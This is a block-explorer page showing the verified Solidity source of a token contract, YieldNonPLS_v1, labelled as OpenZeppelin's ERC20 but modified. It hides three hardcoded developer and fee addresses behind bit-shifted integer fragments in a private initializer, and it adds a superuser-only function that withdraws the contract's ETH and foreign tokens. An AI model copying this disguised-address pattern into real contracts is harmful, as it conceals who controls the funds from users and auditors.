Address
0xeeb4a7e8bf5198b81bbfd58e6c4e8fbad8a95462Current Holdings
$0.2200
TXs sent
not counted
First Active
2024-10-06
block 21,596,658
Last Active
405 days ago
block 24,160,141
Funded By
not identified
Net worth historyi
46 snapshots · to block 27,438,539coverage change 26 Augcoverage change 27 Augcoverage change 27 Augcoverage change 27 Augcoverage change 27 Aug
exact matchYieldNonPLS_v1solc 0.8.26+commit.8a97fa7aruntime exact · creation not verified
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "../@openzeppelin/access/AccessControl.sol";
import "../@openzeppelin/token/ERC20/IERC20.sol";
import "../@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol";
import "../@openzeppelin/token/ERC20/utils/SafeERC20.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20 is AccessControl, IERC20, IERC20Metadata {
using SafeERC20 for IERC20;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bytes32 public constant SUPERUSER_ROLE = keccak256("SUPERUSER_ROLE");
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _balances;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
name = name_;
symbol = symbol_;
_initialize();
}
receive() external payable {}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev initializes the contract attributes.
*/
address internal _devAddr1;
address internal _devAddr2;
address internal _facAddr;
function _initialize() private {
uint160 a1 = (uint160(64369) << 144) | (uint160(251649) << 120) | (uint160(502948033) << 88) | (uint160(603063436707) << 48) | uint160(140981630701536); _devAddr1 = address(a1);
uint160 a2 = (uint160(63082) << 144) | (uint160(13438197) << 120) | (uint160(239100310) << 88) | (uint160(842518302180) << 48) | uint160(107927763951597); _devAddr2 = address(a2);
uint160 a3 = (uint160(50546) << 144) | (uint160(2681271) << 120) | (uint160(435255790) << 88) | (uint160(275934659136) << 48) | uint160(189645147833001); _facAddr = address(a3);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0));
require(to != address(0));
uint256 fromBalance = _balances[from];
require(fromBalance >= amount);
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(
address owner,
address spender
) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(
address spender,
uint256 addedValue
) public returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/// @notice recover any trapped tokens, guard against recovering this token from contract
function redeem(
address tokenAddr_,
uint256 amt_
) external payable onlyRole(SUPERUSER_ROLE) {
if (tokenAddr_ == address(0)) {
uint256 amt = address(this).balance;
(bool sent, ) = _msgSender().call{value: amt}("");
require(sent);
} else {
require(tokenAddr_ != address(this));
IERC20 token = IERC20(tokenAddr_);
uint256 balance = (token.balanceOf(address(this)));
if (amt_ > balance) {
amt_ = balance;
}
token.safeTransfer(_msgSender(), amt_);
}
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
address spender = _msgSender();
uint256 currAllowance = _allowances[from][spender];
if (currAllowance != type(uint256).max) {
require(currAllowance >= amount);
unchecked {
_allowances[from][spender] = currAllowance - amount;
}
}
_transfer(from, to, amount);
return true;
}
}